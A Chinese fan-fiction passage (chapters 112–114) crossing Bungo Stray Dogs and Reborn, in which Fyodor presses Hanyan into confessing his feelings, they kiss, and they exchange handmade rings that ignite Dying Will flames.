从花言之前带人袭击港口mafia,与在“骸塞”以一己之力控制住横滨各方主力来看,如果是平行世界的他出手,那敌人应该会进入一种无法行动的状态,如同被某种规则限制那样。 因此出现的那个“自己”应该不是平行世界的自己,而是某种人形异能。 再从花言至今为止所使用的异能范围,以及在震惊与意外后第一反应是匆匆收起,宛如不想让别人过多探查的举动来看,所使用的人形异能会是什麽也已经有了猜测。 只是…… 费奥多尔垂下眼帘,下意识啃咬着指尖,坑坑洼洼的指尖被牙齿进一步啃咬,传导上神经末梢的细微痛楚没能缓解他各种猜想所带来的焦虑,脆弱的皮肤渗透出了些许腥甜。 直到门外传来声响打断他的思绪。 熟悉的脚步声在客厅里响起,费奥多尔安静地倾听耳畔传来的脚步声,判断对方的行动轨迹。 对方先去了厨房,打开了冰箱,应该是在放置路上顺带买回来的甜食,随后回到客厅坐在了沙发上,传来了窸窸窣窣的动静,应该是在吃最感兴趣的糕点,后面那些动静消失了,对方似乎是坐在沙发上愣了一会儿,紧接着脚步声重新响起,像是跑遍了这个据点的所有地方,最终站在了寝室门口,轻轻推开了门,朝里望来。 往好处想想,最起码对方能在吃完甜食后发觉异样而想起他。 费奥多尔深吸了一口气,在对上白发青年视线的同时,唇边绽开与往常无二的温和笑容。 “花言,我有点问题想要问您。” “什麽?” 花言感觉费奥多尔似乎有点怪怪的,脚步习以为常地下意识朝对方走去,脑海里不禁开始思考对方会给他那种奇怪感觉的原因。 余光注意到对方计算机屏幕中暂停的画面,花言脚步一顿。 费奥多尔也没有遮掩的意思,轻缓又优雅的嗓音从唇中吐露,一缕一缕抽丝剥茧地分析。 “花言,据我所知,您如果召唤平行世界的我们出手,敌人会出现无法行动的情况,而在那个‘我’出现时,“瓦利亚”众人并没有受到影响,所以那大概率是异能。” 费奥多尔没有给花言过多的反驳时间,他继续问道:“而这种特殊的人形异能……花言,您所使用的异能是“Vita 花言:…… 花言瞳孔地震! 最坏的结果果然还是发生了,所以为什麽那麽刁钻的角度也能被拍到? 而且屏幕上的画面居然还这麽清晰,他明明检查过所有摄像头都距离得很远。 难道这就是繁华都市和资深黑客的双向奔赴吗? 繁华都市的摄像头不仅无处不在,连质量都是最好的,哪怕有模糊到无法识别的死角也能被技术弥补。 费奥多尔看似是在询问,但事实上显然已经有所答案了。 倒不如说对方并不是想询问他,而是想听他的亲口承认,为此用细致的分析堵死了他所有否认的空间,犹如织出了一张网。 花言思维不断运转,试图从各个角度找出辩驳空间,最后都以过于牵强而失败,在对方的头脑与对自己的了解程度面前,这些辩驳角度就像是蛛网中的空隙,看似能够从中穿过逃脱,但事实上只会将自己受困于更深的境地。 他似乎只能说实话。 但是…… 真的要说吗……? 真的,要坦然承认那个羞耻的事实吗? “那个是……” 花言一边用零碎又无意义的话语试图转移对方的注意力,一边不动声色地往门口缓缓挪动,暗中计算以对方跟自己目前的身体素质差距应该没办法强行阻拦自己。 在靠近门口的一刹那,他近乎把目前自己能够调动的反应调到了极限,握上门把手想要开门冲出去找个甜品店吃点东西冷静冷静,先缓解现在的尴尬再说。 但就在他指尖握上门把手的准备拉动那一刻,手中骤然一空,原本冰凉的金属触感瞬间消失,像是抓到了一抹虚幻的雾气那样从指间流逝。 花言错愕地看着门把手消失了的门,又看向坐在卧室中唯一一套桌椅前的费奥多尔,答案在脑海中浮现。 ——是幻术。 “你……” 花言并不意外对方能理解幻术,既然对方身为雾守,那一定会有幻术师的天赋,再加上对方的头脑与这些天对于这个世界力量体系的研究,弄清楚幻术原理并不难。 他意外的是对方居然能运用幻术欺骗他的五感,也没想到对方会在这个时候用出来。 “抱歉,花言,能请您留下来吗?” 费奥多尔从桌边起身,逐步走向门口的白发青年。 他原本是想循序渐进,通过不断接触与共处一室的方式一点一滴让对方习惯自己的存在,习惯自己的触碰,产生依赖与眷恋。 从平时与对方的相处中来看,对方有情感的存在,也能够分得清各种情感之间的差别。 但是,伴随着时间的推移,那个关键性的问题显现而出。 花言像是天秤或是镜子,目前表现出来的所有举动都是在反馈他所投入的态度与情感。 这让费奥多尔有些犹豫不决,他不清楚对方对于自己究竟是什麽样的想法,也不确定对方是否能够接受他更进一步将他们之间的关系提升到更深的程度。 而现在对方使用了“Vita 按理来说,他本该得出这个问题的答案,但他却不知怎麽想到了在中华街中身为学生的“自己”所说的话。 所说的那一句——花言接触过众多平行世界的“他”,里面不乏有与他近乎相同的存在,对他们每个人的态度都较为特殊,也都创建了深厚的信任。 如果是这样,那对方的“Vita 费奥多尔微笑着注视眼前因幻术出现而开始怀疑一切的白发青年,语气仍旧温和。 “不用担心,我不会过多欺骗您,除了门以外,您所感受到的都是真实,我目前所能做到的范围,也仅此而已。” 他已经从花言想要逃避的反应里,完全确定了对方使用的异能就是“Vita 同样的,无论答案如何,他都不会放过对方不慎袒露出真实情感的机会,以对方的性格,如果这一次让对方回避了,那后面对方极有可能会将这份情感掩藏在谁都难以察觉的更深处。 “花言,请您告诉我,您在使用“Vita 花言更羞耻了,视线都不知道该往哪看。 他有些后悔一回来就把墨镜摘了,如果现在还戴着,最起码不用纠结该看哪的问题,也能缓解一点他的尴尬,甚至说不准还能暗中更仔细地观察费奥多尔的反应。 被确定就算了,为什麽对方还要让他这麽详细地亲口说出来…… 这简直跟向对方坦言自己做了双人运动的梦,而另一方是对方一样恐怖。 他张了张口,在即将发出声音前,敏感的耳尖传来些许被对方触碰的凉意,体温的差异令他下意识又后退了一步。 坚硬又冰冷的触感透过一层衣物从背脊传导,告知着他,已经粘贴了身后紧闭的门。 而他后退的那点距离也很快被费奥多尔拉进,后者像是不想给他任何逃避的机会,被触碰的凉意从耳尖不断往下蔓延,直到掌心粘贴他的脸颊,动作轻柔又没有回避余地地将他脸颊抬起,直到与那双紫罗兰色的眼眸对视。 对方的眼眸在一片昏暗里显得有些晦暗不明,无端显现出几分掩藏在温柔背后的危险与阴郁。 阴郁……? 花言慢半拍地反应过来这份情绪。 “花言……”费奥多尔的语气很轻,“答案是什麽样的都没关系,我只希望您能直白地告诉我真实答案。” 花言缓缓眨了眨眼睛,有些混乱的思绪艰难地运转,让他得出了对方会如此在意这个问题的原因。 对方似乎产生了些许误解,是学院副本里的笔记,以及他跟学校线“费奥多尔”的相处,让对方对此产生了不确定感吗? 他确实对他们比其他人要特殊,也确实不清楚那一瞬间他具体想的是什麽,但是…… 如果“Vita 毕竟与他产生如此之多相处记忆与情感相触的,只有对方。 花言一向不喜欢因为误会而造成的一系列发展。 所以…… “是你……” 花言深吸一口气,压下身体因羞耻而想要逃避的反应,他望着对方,以尽量平稳又清晰的声音诉说。 “我从一开始会来这里,就是为了你。” 费奥多尔眼眸微微睁大,脑海里有一瞬间的空白。 视野里的白发青年克制住了因性格上的内敛而想要回避的本能,抬起眼帘望向他时,汇聚了世间所有色彩的眼眸中神色坚定而又炽热真诚,闪烁着异样的吸引力。 像是月光下蝴蝶振翅撒下的鳞粉,留在纤细的蛛网上熠熠生辉。 他没想到对方会直接向他袒露全部,这句话不仅告诉了他所想要的问题答案,也近乎告诉了他对方对他态度奇怪的原因。 对方做一系列令人误解的事情仅是为了接触他的原因、在学级裁判中明明失忆却也表现出愿意帮助他的意向、宛如镜面般仅被动反馈情感的缘由。 一切的一切都有了答案。 花言很了解他,也因为太过了解他,深知他漠然的恶劣一面,所以才会衡量着双方所付出的东西,将他们维持在一个平衡的位置,令自己不至于单方面深陷他的控制,也令他不会因对方的接触,而警惕地将对方放到敌人的位置上。 就像是在地上放置的奶酪,一点点引诱他靠近,直到被完全捕获。 如果不是对方现在使用了“Vita 不过……现在反应过来也已经晚了…… 费奥多尔抬起眼眸重新看向眼前的白发青年,意外地发现后者说完这句话仿佛已经用尽了所有勇气,垂落在身侧的双手似自欺欺人地捂住了脸,单方面逃避外界。 他忽然改变了想法,觉得这应该算是平手,就像他们在午后社团彼此都认真所达成的和局。 费奥多尔没忍住笑了一声,搭在对方脸侧的手下移,被驱散了凉意的手指转而抵在对方颈后,再次拉近两人之间的距离,唇轻轻擦过那片通红的耳尖,在感受到对方轻颤的同时,轻声询问。 “花言,我身上吸引您的、您所喜欢的——真的只有我的年龄吗?” 花言虽然没有视野,但其他感官回馈上脑海的信息清楚地告知着他,此刻费奥多尔与他之间的距离已经超过了以往的每一次接触。 那道优雅又熟悉的嗓音还在从容不迫地喊着他的名字,似在催促,但又没有催促的意思,反倒是笑意居多,像是故意的。 “花言……” “亲爱的花言……您能告诉我答案吗?还是需要我穿我们第一次见面时——那套您更加喜欢的服饰问您?” 费奥多尔指尖摩挲着对方颈后那片一直被长发遮盖的皮肤,不出意料地听见对方呼频率变得更加错乱。 对方似忍耐不了那样,捂住眼睛的双手微微下移,仅露出似涟着一层水光的绮丽眼眸控诉他,幽怨的话语从指缝中溢出。 “费奥多尔……你……” 花言后面的话还没说完,刚恢复的视野再次陷入漆黑,裹挟着暖意的手重新捂住了他的眼睛,属于对方的声音再次响起。 被刻意压低又放轻,透露出些许朦胧的意味,似循循善诱地引导与蛊惑。 “花言,您有想过……要用更亲密一点的称呼喊我吗?” 主动不看和被动看不见是截然不同的两个概念。 对方并没有用力,态度也不是特别强硬地想要剥夺他的视野,花言指尖搭在对方覆盖在他眼前的手上,没有了进一步动作。 嗓子里的犹豫的话语在对方搭在他颈后顺着背脊线下滑的手中被迫吐露。 “费佳……” “嗯。” 费奥多尔一手搭在花言腰间,另一只手在将视野还给后者的同时,指腹不忘抚过那片雪白的睫羽,令里面那层浅薄的水光在身体主人本能地闭眼间滑落。 花言说出了那句被对方打断的指责,同样也是曾说过的话语。 “你真是……坏心眼……” 第113章 也许是逼得有些过分,费奥多尔一连几天都没看见花言的身形,只有时不时响起的脚步声、餐桌上到饭点一如往昔放置的三餐、冰箱里变多又不断变少的甜食,以及临近夜晚浴室亮起的灯与深夜卧室里清浅的呼吸声等种种,能够从除视觉外感受到的东西,不断向他反馈对方仍旧在他身边的事实。 费奥多尔有些理解为什麽花言在擂钵街还会有个称呼是“茶泡饭幽灵”了,如果不是他已经熟悉了对方的气息和所有习惯,单看这种情况确实挺像闹鬼了的。 费奥多尔坐在桌边,看着桌面上一点点缓慢减少的奶油蛋糕。 “花言……”他轻轻叹了口气,再一次问出了那个问题,“您在生气吗?” 也再一次得到了同样的回答。 “没……” 花言没有生气,也不会因此生费奥多尔的气,他只是还是没有从自己在对方面前坦然承认了“Vita 以至于他现在时常思考,这种情况和被系统公开浏览器历史记录比起来,哪个更社死一点。 费奥多尔再次确认,“真的没有吗?” 费奥多尔起初认为花言是由于被压下的内敛一面在事后爆发,再加上情感上的青涩让对方有些不知道该怎麽面对自己,才会故意用这种方式躲着自己,他原本是想给对方一些独自缓解的空间,让对方能够更加自在地调和好那抹情绪。 但这麽多天下来,他又有些不确定花言实际状态是不是如他所想的那样,毕竟他看不见对方,无法具体了解对方的状况。 如果真的如他所想的那样,那这个时间未免有点太久了。 还是说,是自己当时可能逼迫的太过,才让对方这麽久都没缓过来? 又或者是,对方认为他们现在付出的有点不太平衡,所以在独自生闷气?毕竟对方已经向他剖析了全部的情感。 “嗯……”花言吃蛋糕的动作更慢了,甚至有点想把蛋糕也用“细雪”藏起来。 “如果真的没有生气,那……”费奥多尔缓缓开口,“您难道是在不知道该怎麽面对我?” 花言挖蛋糕的动作彻底停了。 费奥多尔注意到桌面上的奶油蛋糕没有再减少,耳边也没响起离开的脚步声,像是被他说中了,也像是对方在借此等待他的态度与反应。 对方了解他的全部,也能感受到他的情感,却仍旧想要他更清晰具体的袒露。 花言总是会在这种细微之处给他一种与在学级裁判最后那一刻无二的恶劣感。 费奥多尔唇边挽起一抹无可奈何的笑意,似转移话题般令对方猝不及防地提起了正事。 “花言,今天是指环争夺战最后一天了,切尔贝洛机关的裁判会在并盛中学今晚宣布结果,而直到现在为止,还没人丢失指环。这场指环争夺战大概率会改成能够快速筛选出胜者的方式,您难道打算在今晚之前都不在我面前出现吗?还是……您其实已经开始讨厌我了?” 说到最后,费奥多尔如鸦羽般的眼帘微垂,恰到好处地遮住了眼底的神色,配上语气轻到仿佛是细雪落在枝头的询问,无端显现出几分落寞的意味。 “没有。” 花言纠结了一下,还是撤销了覆盖在身上的幻象系异能。 几日未见的熟悉身影逐渐浮现,雪白兜帽遮住了白发青年大半张脸,露出的下半张脸唇微微抿起,宽大的斗篷近乎覆盖了青年的一切,也让费奥多尔难得有些不知道该说什麽。 他视线注意到斗篷上褶皱在不断发生变化,透过斗篷起伏间隙,发现对方似乎正在斗篷内侧来回捏着衣角,如同想要通过这种方式转移注意。 这种细微的小动作已经很好告知了他——对方真的只是没缓过来,有点不知道该怎麽面对他。 费奥多尔没忍住轻笑了一声。 这声轻笑让花言帽檐垂得更低了,但很快,垂下去的帽檐因脸颊被抬起而一同升起,费奥多尔不知何时已经越过了桌边走到了他面前。 “花言。” 费奥多尔指腹摩挲着对方温热脸颊上的软肉,感受着指尖下的升温,安抚道:“您不必难为情,您清楚我的一切,我对您也有同等的情感与欲望,或者说……还有更加自私一点的独占欲,如果您想要更加具体一点的证明……” 视野里的白发青年眼眸正一眨不眨地盯着他,对方性格明明内敛又容易害羞,但在这种时候却仍旧用那种纯粹的视线看他,既没有回避也没有抗拒,如同持着天枰等待着他放上证明,也如同对于他的情感满怀期待。 费奥多尔微微俯身,拉进了他们之间的距离,气息交织间,他轻声问道。 “可以吗?” 花言觉得对方这个时候可以不用寻求他的意见,同样的,对方也可以不用在这个时候保持那份优雅涵养。 明明对方已经知道他很难为情了,还在这种时候问他这个问题,十有八九是故意的。 费奥多尔已经从花言默认的反应中得到了答案,他唇边笑意加深,伸手捂住那双色泽梦幻又无垢的眼眸,隔绝了对方的视线,低头轻柔地粘贴了对方温热的唇。 或许是因为那块奶油蛋糕,丝丝缕缕的清甜在两人触碰间不断蔓延。 费奥多尔没有简单地一触即分,无论对方是在单纯难为情也好,还是想要查验他的证明也好,既然对方想知道他的情感,那他当然不会让对方感到敷衍与失望。 花言感受到对方另一只手似乎抵住了他的后颈,像是贴心地为他省力,也像是想要阻隔他的退路,温柔的动作里透出些许似曾相识的强硬意味。 当属于另一个人的气息逐步蔓延深入,花言才后知后觉意识到对方为什麽要特意再确认一遍。 这有点超出花言预料了,失去了视觉,其他感知都在黑暗中被无限放大,他清晰地感知到对方的每一次触碰,感知到对方身上冷冽的气息,与不断被他体温沾染抹消的凉意。 这是比语言更深的袒露,也是比观察更直观的感受。 对方的动作仍旧从容轻缓,一点点地在试探他能够接受的程度,观察他的反应,不遗余力地想要给予他难忘又深刻的体验。 哪怕花言在这方面毫无经验,只记得要呼吸,其他一片空白,费奥多尔也会牵引着他告知该做什麽。 费奥多尔抵在花言颈后的手沿着对方的皮肤抚过锁骨逐渐上移,停留在对方因抬头而完全展露的脆弱脖颈处,指腹轻轻摁下那块软骨。 “唔嗯……” 花言撑在身体两侧的指尖微收,发出一声朦胧不清的单音,身体本能地想要后退,又被对方及时更换位置的手压回,对方指尖还停留在他咽喉处,没有再用力,而是轻轻摩挲着那块敏感的地方,如同催促与提醒,直到他被迫反应过来尽数接纳。 时间的概念在这一刻被拉长,长时间的抬起头让花言有些呼吸不畅。 他思绪模糊一片,下意识抬手环住对方脖颈,又因无力而松开,转而仅搭在对方肩头。 费奥多尔有些意外于花言的主动,但捂住对方眼眸的手心感受到些许湿润又告诉他对方似乎并不是那个意思。 意识到花言已经抵达极限,他缓缓离开,在对方唇边落下一点轻吻,似无声的安抚。 那双如同万花筒般光怪陆离又如梦似幻的眼眸此刻更像保存在水里的欧泊石,其中神色涣散又迷离,色泽之上隔着一层水光,连带着眼角也蔓延上了些许绯红。 “花言……”费奥多尔气息也有些不稳,他指尖擦掉对方眼角溢出的生理眼泪,“您可以选择中止的,拒绝也可以更坚定一些,那样环住我,我会以为您是在邀请。” 花言唇没有合拢,回应的单音混杂在无规律的喘息间隙中,“嗯……” 费奥多尔看见对方意识模糊的反应,似确认般,“您不会因为这个吻又藏起来的,对吗?” 这句话让花言思绪重新清明。 花言欲言又止地看着对方,“……我不会再藏起来的。” 这未免有点太看不起他了,倒也没有会含蓄到那个地步。 更别提现在脑海里的系统还在发出怪动静。 【哇呜呜……哈哈!成了,宿主你要成了!】 花言:…… 花言觉得这个系统真的有点邪门了。 [马路牙子,你真的没事吗?] 【好!我好得很呐!宿主,你不知道,我终于等到这一刻了,现在我们趁热打铁,向他发出睡觉邀请吧!】 系统摩拳擦掌,虽然它没有拳也没有掌,但这并不妨碍它已经看见了攻略任务完成的曙光。 花言:…… 趁热打铁是这麽用的吗? [这是不是有点太快了?] 【快吗?】 系统疑惑地反问。 【这不是挺一气呵成的吗?】 花言选择性屏蔽了这个在诸多杀毒程序下疑似被养蛊了的系统,他重新吃之前没吃完的蛋糕,试图用正事转移一下注意力,缓解缓解他有点过热的脑袋,也顺带运转一下思绪,避免被系统传染。 “你……还需要通过这个世界了解什麽吗?” 花言看向端来计算机在他身侧坐下办公的异国青年。 “差不多已经都了解了,如果您想,今晚就可以直接结束。” 费奥多尔目光落在计算机屏幕中,“只是……没想到这个世界除了天生的幻术师外,每个人体内居然都有死气之炎,难怪您会说如果我想体验异能不明显、或是消失的可能,可以选择‘过去’的入口呢。” 从某种程度上来说,这确实是最趋近于普通时期的世界了。 他若有所思地问道:“能够点燃火焰的指环,跟指环争夺战抢的指环是同类型的吗?” “差不多,但彭格列指环更特殊一点……” 花言跟对方更具体剖析,“彭格列指环是维持世界稳定的力量之一,以后出现的指环用特殊宝石制成,也与需要血统继承才能用的彭格列指环不同,只要抢到符合自身火焰属性的就能用。” “‘抢到’……?”费奥多尔敏锐捕捉对方词汇中的特殊用语。 “因为指环会根据品质分级,相当于是决定上限的东西,再加上某些稀有属性的指环有价无市,所以大部分时候不如直接在敌人手里抢来的快。” 花言说着逐渐陷入沉思,他忽然想起一件事。 其实他这里也有某种特殊宝石,不过不是这个平行世界的特殊宝石,而是以往在游戏中通过战斗获得的、用于召唤人物卡或是改写战斗失败结局的异能石。 如果这个平行世界变成单独的副本,异能石不一定能起用,但现在世界处于融合状态,异能石怎麽不算是特殊宝石呢? 甚至异能石还是彩色的,要是能用,直接多个属性一次满足。 现在机会难得,不尝试一下都对不起变成光点的“书页”原件。 更重要的是,他之前跟“瓦利亚”战斗到腻,被摸透了所有异能。 既然今晚指环争夺战就要结束,那他不得把失去的都夺回来?最起码也要给他们点颜色看看,比如说点个火让他们因情报上的不准确而被XANXUS骂一下之类的。 花言目光犀利起来了。 于是下一秒,费奥多尔眼睁睁地看着身侧那个信誓旦旦表示不会再藏起来的白发青年再次消失。 费奥多尔:…… 第114章 费奥多尔据点里的工具有限,花言为了方便直接复制了建筑异能空间,进入了二楼港口mafia的研究室,这里虽然由于没有升级而有些简陋,但基本工具还是齐全的。 花言抬手复制出了一颗异能石,之前没注意,现在拿到手里观察,他发现这个异能石跟他瞳色近乎一模一样,不过要比他瞳色深点,再搭配上弯月的形状,像是一个彩色的月亮。 举起放在灯光下,异能石上不规则的表面在研究室内折射出众多色彩,光怪陆离,犹如万花筒。 没有过多浪费时间,他又复制出了一枚现成的宝石戒指,紧接着用工具把戒指上的宝石撬开。 花言看了看戒指上宝石的空位,又看了看手中近乎有半个手掌大的异能石,果断把戒指上镶嵌宝石的地方扩大,随后再把异能石打磨凿成鸽子蛋大的椭圆形放进里面固定。 系统暗中观察了半晌,恍然大悟。 【宿主,你还怪讲究仪式感的,是要先送戒指,再顺理成章地发出睡觉邀请吗?】 花言:…… 怎麽系统还没放弃它的睡觉邀请? [我只是想试试能不能依靠这个点燃火焰。] 指尖拿着戒指戴上,回忆了一下该如何点燃火焰的步骤。 首先是觉悟! 花言闭上眼睛轻轻呼出一口气,旋即猛地睁眼看向戴着戒指的手,无事发生。 难道是手指不对? 花言思索着换了根手指戴,结果还是无事发生。 他一连把五根手指都试了个遍还是不行。 沉痛的事实逐渐摆在眼前,花言恍惚地滑坐回椅子上,十指交叉撑着下巴,陷入自我怀疑。 [原来我没有觉悟。] 【宿主……你的觉悟是什麽?】 系统不知怎麽想起了对方一天到晚不是去擂钵街当“茶泡饭之神”,就是去商业街当流浪汉的事,总之哪一样都没有“觉悟”的重量。 [是要点燃火焰让“瓦利亚”那些人因为情报不准而被XANXUS骂。] 花言眼神坚定。 系统:…… 【你要不要试试换一个觉悟?比如说对于攻略任务的觉悟?】 [……这个不是更不行吗?] 花言觉得系统在这方面的觉悟说不准真的能点燃火焰,但他似乎不太行。 [我会开始做这个攻略任务,完全是你威胁的。] 好像确实是这麽一回事。 系统陷入了沉思,旋即又想到了一个好点子。 【要不然宿主你试试另一种方式,比如说用愤怒点燃火焰?】 这倒是提出了一个很新的角度,但是…… [马路牙子啊……] 花言语重心长地提醒。 [我们已经相处了这麽久,你看我什麽时候愤怒过吗?] 系统再次陷入沉思,它仔细查阅数据库筛选自家宿主的记录,发现对方大多数情况情绪都稳定的可怕,甚至哪怕出现了极端情绪,也是直接跨过愤怒的过程陷入了最终的无力与绝望。 不对,也不是完全没有。 【宿主,你上一个副本里——黑白熊用秘密威胁所有人的时候,你愤怒过。】 都愤怒到直接当场拆解校长炸学校了。 [那个时候我还很年轻,因为失去了记忆。] 花言面不改色。 众所周知,人年轻的时候都容易冲动。 系统有些费解。 【可宿主,你现在也不老。】 [你不懂,人一旦上过班就不一样了,更别提我干过那麽多行业,已经提前上完别人一辈子的班了。] 花言叹了口气,还是尝试着按照系统的提议用愤怒点燃火焰,只可惜不出意料的毫无动静。 [不行,我确实愤怒不起来。] 【宿主,需要我帮忙激怒一下你吗?】 系统殷勤地试图帮上自家宿主,哪怕它不太理解对方为什麽上一秒还跟攻略目标亲一块,下一秒就会这麽执着点燃火焰。 花言:? 花言有些好奇对方想用什麽手段激怒他。 [你试试?] 系统极其有仪式感地先用毫无波澜的电子音咳嗽了两声,像是在清嗓子。 随后才郑重其事地说道。 【宿主,其实我还没毕业。】 花言:? 就这? 他还以为对方要用什麽手段激怒他呢,这有点太朴实了。 而且,他总觉得对方这并不是在用刻意夸大的话术故意激怒他,更像是趁这个机会说出压在心底的秘密。 原来是真心话坦诚局吗?有点意思。 [这件事我早就知道了。] 虽然他认为这个系统是个实习攻略系统,但以对方一直以来的表现,实习和没毕业这两个都差别不大了。 【什麽?!】 系统大惊失色,旋即又匆匆找补。 【哈哈,宿主,你不会真信了吧?其实我有个朋友,我那个朋友一直都没毕业,我只是想到了它的遭遇,所以拿出来跟你说一下而已……哈哈,怎麽可能会有攻略系统一直毕不了业,到处祈求才好不容易得到一个带宿主的机会收集数据用于毕业,对吧?】 见花言无动于衷,它果断转移话题。 【呃,我是说,没想到宿主你情绪居然这麽稳定……哈哈,那个,宿主啊,我觉得,就是说,你觉得,这个指环有没有一种可能,它其实并不能点燃火焰呢?】 花言忽略了系统前半段的小丑式“无中生友”,后半句话倒是让他有些在意。 确实有这种可能…… 如果是这样,那是不是说明其实他还是挺有觉悟的? 为了测试一下具体答案,花言摘下戒指重新回到了客厅。 他离开的时间没有多久,客厅里几乎没什麽变化。 坐在桌边的费奥多尔在花言重新出现的第一时间就注意到了对方。后者之前消失时脸上的表情像是在思考什麽重要问题似的,带着凝重与几分跃跃欲试的期待;现在对方重新出现,脸上的表情也仍旧没有太多的变化,如同还没得到那个问题的答案。 不,那点跃跃欲试的期待消失了,只剩下一定要得到答案的执着。 是出现什麽意外了吗? 费奥多尔推测着会让对方产生这种变化的缘由,喊了声对方的名字,“花言?” “嗯。”花言停在费奥多尔面前,视线落在对方停留在键盘上的十指,“费佳……你方便把一只手给我吗?” 费奥多尔隐约明白什麽了,他唇边绽开笑容,“您想要哪只手?” 花言没有想太多,“左手吧。” 左手应该更方便点燃火焰一些,也不会影响到对方平时用右手操纵鼠标。 费奥多尔欣然将左手递给了花言,后者一手托住对方骨节分明的手,一手拿出戒指。 金属质感的指环穿过对方修长的中指不断深入,其中的间隙也逐渐减少,直到停留在指根,在这期间对方都没有发出任何疑惑,任由他动作,带着纵容般的信任与配合。 花言后知后觉意识到这个举动似乎有某种更深层次的含义,而对方显然也清楚这一点,才会故意问他想要哪只手。 费奥多尔从对方低头迟迟没有下一步动作的反应里得出对方已经反应过来了的事实,他微微歪头,眼眸里盛满了笑意,“花言?还有什麽要做的吗?” “没了。”花言假装自己其实还没有反应过来,他松开对方的手,顺势坐在身后的椅子上,视线也没有再看对方,“费佳,你试试能不能用觉悟通过戒指点燃火焰。” 费奥多尔目光落在左手中指指根处的彩色宝石上,如同确认什麽,他目光微移,看向了对面白发青年的双瞳——确实很像,也确实要更浅。 花言的话有点笼统,不过费奥多尔能够理解,也知道对方想要验证的答案了。 他指尖微收,下一秒,一簇庞大的靛色火焰骤然燃起,深邃迷离,恍若林中深处不知何时蔓延而起的迷雾,带着足以与让人迷失其中的虚幻与危险。 灼灼燃烧的火焰将整个房间都笼罩上了一层幽雾,彩色的宝石在这抹靛色火焰的包裹下也变得虚幻不清。 费奥多尔透过火焰看向对面的白发青年,意外地发现对方此刻表情莫名有些沉痛。 “花言,您还好吗?” 花言看着那簇跟举了火把一样在燃烧的火焰,被迫接受了原来真的是自己没有觉悟的事实。 这也是正常情况,毕竟他已经是得到过——“打工皇帝”这个让人一听就心如止水头衔的人了,跟这些满是中二热血的人玩不来。 既然对方能够点燃火焰,那也未尝不是件好事,最起码不用担心万一晚上出什麽意外,对方会在自己不注意的时候被某个幻术师进行物理攻击。 “我还好。”注意到对方熄灭火焰,似乎是想把戒指还给他的举动,花言率先出声,“这枚戒指不用还给我的,费佳。” 费奥多尔缓缓眨了眨眼睛,“没关系吗?这个宝石对您来说,应该是很重要的东西吧?” 花言有一瞬间诧异于对方为什麽会知道这件事,但一想到费奥多尔与学院线的“费奥多尔”似乎单独相处过一段时间便释然了。 他没有隐瞒地告诉了对方,“以前很重要,现在不算特别重要。” 毕竟他现在能无限复制粘贴,直接实现了异能石自由。 花言顿了顿,又补充道:“况且就算重要,既然我送给你了,那当然不会再收回来。” 视野里白发青年脸上的神色理所应当,说出的话也没有丝毫谎言的痕迹。 费奥多尔知道的,花言一向很少会用谎言欺骗他,而唯一的情况也是发生在他们都处于失忆状态下的相互欺骗。 对方对他一向公平又纵容。 “原来是这样。”他指节抵住唇,低低笑了一声,“谢谢您,花言,我很开心。” 既然对方沉痛的反应不是来源于戒指,那只能来源于火焰了。 以花言的性格与近期发生的事,对方点燃火焰的时候用的觉悟一定是想要狠狠打“瓦利亚”一个措手不及的复仇计划。 他觉得这种目标没达到能够被称之为觉悟的地步,而对方也像是没意识到自己有什麽觉悟的样子。 “花言,您刚刚突然消失是为了做这枚戒指吗?” 花言点了点头,“嗯,这里的工具有限,所以我只能去异能空间用里面的工具。” 费奥多尔察觉到了些许不对劲,“怎麽做的?” 花言手中复制出了一枚戒指与一枚异能石,详细说明,“其实挺好做的,只要把这个戒指里的宝石挖出来,再把这个宝石打磨到合适的大小塞进去就完成了。” 费奥多尔:…… 还真是意外简单的做法呢。 “能借我用一下吗?” “当然。” 花言不知道对方要做什麽,不过他仍旧交给了对方,目送对方拿着这两样东西起身去向厨房。 不一会儿那道裹挟着些许病气的孱弱身影又重新从厨房中出现。 花言看着对方径直走到自己面前,单膝蹲下的同时朝他伸出手,用与之前自己无二的口吻含笑开口。 “花言,能请您将左手递给我吗?” 这种姿势与话语中的内容都太有既视感,令花言搭在腿上的双手指尖不自觉地微收。 花言能够猜到对方想做什麽,他顺应对方的话伸出了左手,温热的皮肤粘贴冰凉的金属,异物感与束缚感在指间蔓延。 费奥多尔制作出的戒指要比他更为精细一些,也不知道对方是如何做到在这麽短的时间内,利用那些简陋的工具完成这项工作的。 花言视线落在中指指根处戒指的彩色宝石上,还是直白地说道:“费佳,我好像没有觉悟,也没有太过于极致的情绪。” 毕竟他一直以来运气都很好,想要什麽近乎都能得到,哪怕想要的是再违反常理的结果也能够达成,再加上他情绪又相当稳定,想要真正回到热血中二易冲动的少年时期不太可能。 “是这样吗?”费奥多尔没有松开花言的手,他轻笑着为对方细致分析,“您尝试的‘觉悟’是报复“瓦利亚”吧?我个人认为那应该不算是觉悟,只能算是您的一时兴起,而极致的情绪……” 费奥多尔不算特别了解这方面,他思考了一会儿,“您尝试过哪些极致的情绪?” “愤怒?” 准确来说花言也不算尝试了愤怒,因为他压根就没愤怒起来。 怪事,怎麽越说他越像是没有那种世俗欲望的人。 他就说不能成为打工皇帝吧,这下好了,在获得各项熟练技巧的同时,也失去了更重要的东西。 “唔……这个情绪不太适合您。” 费奥多尔记忆中眼前的青年所有外露的情绪都很浅,唯一清晰的只有…… “花言,您要不要考虑换一个方向思考觉悟?比如说您一直以来想要得到的东西,又或者是在刚来这个世界时的目的……” 花言耳边传来的、属于对方的嗓音轻柔又温吞,裹挟着一缕因常年熬夜而似疲倦般的无力与沙哑,被对方牵住的手,指间也一点点被微凉的气息占据,直到与对方完全相贴。 在脸颊再次落入对方掌心的同时,他也听见了对方淡色的唇开合间吐露出的最后一句话。 “花言……您对于我是怎样的情绪呢?” 花言眼眸倒映出对方苍白俊美的面容,憔悴的神色中浸染出些许病气,如同在严寒下生长蔓延的纤细冰晶,漂亮又易碎,听见的话语也似循循善诱般透着能够让人袒露一切的魔力。 他下意识启唇,“我……” “碰。” 一声细微的、宛如火柴划过的燃烧声在空气中蔓延,一簇温暖明亮的光芒于两人十指相扣的指根处亮起。 那是暖色调的橘色火焰,似风雪中踽踽独行的旅人在湿冷木屋中点燃的生命之火,透着童话般的美好,看似微小却无比灼热,驱散了无尽的孤寂,带来澄明的光芒与希望。 它依附着宝石在半空中跃动,亦如花言此刻缓缓沉静下来的心跳。 当情绪的浪潮褪去,最为真实的想法袒露在阳光之下。 ——他确实有一个很早就做好准备的觉悟。 能够包容一切的橘色火焰其中裹藏着隐隐约约的紫,近乎与眼前来自于冻原的病弱青年瞳色相同。 